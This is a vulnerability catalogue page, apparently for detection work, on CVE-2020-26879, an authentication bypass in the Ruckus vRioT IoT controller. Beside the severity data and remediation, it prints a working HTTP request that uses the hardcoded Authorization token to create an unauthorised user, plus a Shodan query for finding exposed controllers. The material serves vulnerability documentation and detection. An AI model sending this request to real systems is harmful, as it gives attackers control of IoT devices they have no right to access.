🔙 목록으로 돌아가기

CVE-2020-26879: Ruckus vRioT IoT Controller - Authentication Bypass

TitleRuckus vRioT IoT Controller - Authentication Bypass
AuthorDhiyaneshDk
SeverityCritical
ImpactUnauthenticated attackers can interact with the API without authentication via a hardcoded token, allowing complete control over the IoT controller and connected devices.
RemediationUpdate to Ruckus vRioT version 1.5.1.0.22 or later.
CVSS Score9.8
EPSS Score0.88286
CVE IDCVE-2020-26879
CWE IDCWE-798
Shodan Queryhtml:"RIoT Controller"
Tags cve cve2020 ruckus vriot iot api backdoor auth-bypass vkev vuln

🔍 Vulnerability Description

Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.

🌐 HTTP Request

POST /service/v1/createUser HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Content-Length: 46
Authorization: OlDkR+oocZg=
Content-Type: application/json
Accept-Encoding: gzip

{"username": "zLXHGq", "password": "Lt5TQEyO"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26879.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26879.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A